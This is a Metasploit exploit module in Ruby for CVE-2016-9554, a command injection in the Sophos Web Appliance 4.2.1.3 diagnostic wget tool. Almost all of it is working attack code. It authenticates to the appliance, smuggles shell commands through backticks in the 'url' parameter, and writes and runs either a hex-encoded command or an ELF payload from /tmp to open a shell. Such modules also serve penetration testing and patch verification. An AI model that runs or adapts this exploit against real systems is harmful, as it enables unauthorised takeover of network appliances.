Sophos Web Appliance 4.2.1.3 Remote Command Execution

                # Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity 
# Date: 12/12/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.2.1.3
# Tested on: 4.2.1.3
#            
# CVE : CVE-2016-9554

# vuln:  diagnostic_tools command / host parameter /  MgrReport.php exploit

# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. 
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sophos Web Appliace <= v4.2.1.3 remote exploit',
          'Description'    => %q{
          This module exploits a remote command execution vulnerability in
        the Sophos Web Appliace Version <=  v4.2.1.3. The vulnerability exist in
        a section of the machine's adminstrative infertface for performing diagnostic
        network test with wget and unsanitized unser supplied information. 
      },
      'Author'         =>
        [
          'xort@Critical Start', # vuln + metasploit module
        ],
      'Version'        => '$Revision: 1 $',
      'References'     =>
        [
          [ 'none', 'none'],
        ],
      'Platform'      => [ 'linux'],
      'Privileged'     => true,
       'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

            'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

      'Targets'        =>
        [
          ['Linux Universal',
            {
                'Arch' => ARCH_X86,
                'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget' => 0))

      register_options(
        [
          OptString.new('PASSWORD', [ false, 'Device password', "" ]),  
                 OptString.new('USERNAME', [ true, 'Device password', "admin" ]),  
          OptString.new('CMD', [ false, 'Command to execute', "" ]),  
          Opt::RPORT(443),
        ], self.class)
  end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                style_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
         'c' => 'login',
      },
                      'vars_post' =>
                        {

               'STYLE' => style_key,
         'destination' => '',
        'section' => '',
        'username' => username,
        'password' => password_clear,
                        }
                }, timeout)

                return style_key
        end

  def run_command(username, style_password, cmd)

    vprint_status( "Running Command...\n" )

    # send request with payload  
    res = send_request_cgi({
      'method' => 'POST',
      'vars_post' => {
        'action' => 'wget',
        'section' => 'configuration',
        'STYLE' => style_password ,
        'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',
        },
      'vars_get' => {
        'c' => 'diagnostic_tools',
      },
    })

  end

  
  def exploit
    # timeout
    timeout = 1550;

    # params
    password_clear = datastore['PASSWORD']
    user = datastore['USERNAME']

    # do authentication    
    style_hash = do_login(user, password_clear)
  
    vprint_status("STATUS hash authenticated: #{style_hash}\n")
      
    # pause to let things run smoothly
    sleep(5)

     #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20\"#{encoded_cmd}\"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')

      # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))

      # wait for magic
                        handler
      
                end


  end
# sophox-release
end
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